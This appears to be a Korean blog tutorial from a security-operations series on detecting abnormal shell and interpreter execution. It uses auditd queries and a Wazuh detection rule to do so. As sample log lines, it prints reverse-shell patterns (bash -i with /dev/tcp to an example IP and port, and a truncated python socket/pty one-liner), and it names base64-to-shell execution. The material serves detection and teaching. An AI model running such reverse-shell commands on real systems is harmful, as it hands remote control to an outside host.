262. 프로세스·지속성 — 셸·인터프리터 비정상 실행 탐지

changseop lee·7일 전

시스템 보안 · 취약점

목록 보기
262/450

시스템 보안 · 취약점 › F. 비정상 프로세스 · 지속성 징후 · 12/50편 (전체 262/450)
학습 단계: 비정상 프로세스 징후
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

셸(bash·sh)과 인터프리터(python·perl·ruby)는 공격자가 명령을 실행하는 핵심 도구입니다. 정상 사용과 공격 사용을 구분하려면 실행 방식(인터랙티브·인라인·리다이렉션)을 봐야 합니다.

셸·인터프리터 비정상 실행 패턴
 인라인 코드: python -c '...', perl -e '...' (한 줄 실행)
 리버스 셸:   bash -i + /dev/tcp/<IP>/<PORT> (양방향 리다이렉션)
 비정상 부모: 서비스가 생성한 셸(F11)
 인코딩 실행: base64 -d | sh (F06)
 비대화형 환경 셸: 웹 계정의 인터랙티브 셸

정상: 로그인 셸·스크립트 / 공격: 인라인·소켓·서비스 자식

핵심은 셸·인터프리터가 네트워크 소켓과 결합(리버스 셸)하거나 인라인 코드로 실행되는 패턴입니다.

2. 왜 중요한가

  • 셸·인터프리터는 공격자의 주 명령 실행 수단이라, 비정상 실행 방식이 핵심 신호입니다.
  • /dev/tcp/ 리다이렉션은 bash 리버스 셸의 결정적 지표입니다.
  • 서비스 계정·비대화형 환경의 인터랙티브 셸은 침해 신호입니다.

3. 핵심 명령어 / 설정

실행 방식패턴위험
리버스 셸bash -i + /dev/tcp/매우 높음
인라인 코드python -c·perl -e높음
인코딩 실행base64 -d|sh높음
서비스→셸비정상 부모높음
로그인 셸정상정상

4. 실습 (실습 예시)

# 셸·인터프리터 비정상 실행 탐지 (분석 방법)
# 리버스 셸 패턴(/dev/tcp 리다이렉션)
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E 'proctitle=.*(/dev/tcp/|bash -i|sh -i)' | tail
# 인터프리터 인라인 코드 실행
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -oE 'proctitle=.*(python[0-9.]* -c|perl -e|ruby -e|php -r).*'

5. 정상 상태

$ (리버스 셸 패턴) (없음)
$ (인라인 코드) (없음 또는 정상 배포 스크립트)

셸·인터프리터가 로그인·정상 스크립트로만 실행되고, 리버스 셸·악성 인라인 코드가 없는 상태가 정상입니다.

6. 이상 상태

$ (리버스 셸 패턴)
proctitle="bash -i  /dev/tcp/192.0.2.88/4444  (양방향 리다이렉션 소켓 연결)"
$ (인라인 코드)
proctitle="python3 -c import socket,os,pty;s=socket.socket();..."
  • bash /dev/tcp/ 리다이렉션 → 리버스 셸(공격자에게 셸 연결)
  • python 인라인 소켓 코드 → 파이썬 리버스 셸
  • 셸·인터프리터+소켓 결합 → C2 연결 → 정탐

7. 로그 분석 (분석 방법)

셸 비정상 실행 분석입니다(가상의 예시 로그).

type=SYSCALL comm="bash" ppid_comm="sh" auid=www-data
type=PROCTITLE proctitle=bash -i  /dev/tcp/192.0.2.88/4444  (양방향 리다이렉션 소켓 연결)
 → 인터랙티브 셸을 외부 소켓에 연결(리버스 셸)
[계보] nginx→sh→bash(리버스셸) (F11)
관찰해석
bash -i인터랙티브 셸
/dev/tcp/소켓 연결
외부 IP:4444C2
계보 웹→셸웹셸 기원

셸+소켓 결합이 리버스 셸(C2)의 결정적 증거입니다.

8. SOC 관제 포인트

  • 셸·인터프리터 비정상 실행은 소켓 결합(리버스 셸)·인라인 코드가 핵심 패턴입니다.
  • /dev/tcp/ 리다이렉션은 bash 리버스 셸의 결정적 지표입니다.
  • 서비스 계정·비대화형 환경의 인터랙티브 셸은 침해 신호입니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_f,process,">
  <rule id="105110" level="14">
    <if_sid>105010</if_sid>
    <field name="audit.proctitle" type="pcre2">/dev/tcp/|/dev/udp/|(bash|sh)\s+-i\s+.*(>&|0>&1)|(python[0-9.]*|perl)\s+-[ce]\s+.*(socket|pty\.spawn)</field>
    <description>셸·인터프리터 리버스 셸·인라인 코드 실행</description>
    <mitre><id>T1059.004</id><id>T1071</id></mitre>
  </rule>
</group>

리버스 셸 패턴(level 14)은 즉시 경보 대상입니다. 정상 인라인 스크립트는 좁은 예외로 처리합니다.

10. 대응 방법

  1. 초기 확인 — 셸·인터프리터의 실행 방식(소켓·인라인·부모)을 확인합니다.
  2. 범위 확인 — 리버스 셸(/dev/tcp)·인라인 코드·서비스 계정 셸을 확인합니다.
  3. 증거 확보 — 셸 실행 이벤트·명령줄·계보·네트워크 연결을 보존합니다.
  4. 차단/조치 — 리버스 셸 정탐이면 프로세스·C2 연결 차단·세션 종료를 진행합니다.
  5. 재발 방지 — 셸·인터프리터 비정상 실행 탐지를 운영합니다.

11. 핵심 정리

실행 방식패턴
리버스 셸bash -i + /dev/tcp/
인라인 코드python -c·perl -e
인코딩 실행base64 -d|sh
서비스→셸비정상 부모
면접 포인트"셸+소켓 결합(/dev/tcp)이 리버스 셸의 결정적 지표 — 즉시 경보"

12. 다음 편 예고

다음 편 263. 프로세스·지속성 — 삭제된 바이너리 실행(deleted binary) 탐지 에서는 삭제된 바이너리 실행을 다루는 삭제된 바이너리 실행(deleted binary) 탐지를 다룹니다.


이전 편: 261. 프로세스·지속성 — 부모-자식 관계 이상 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글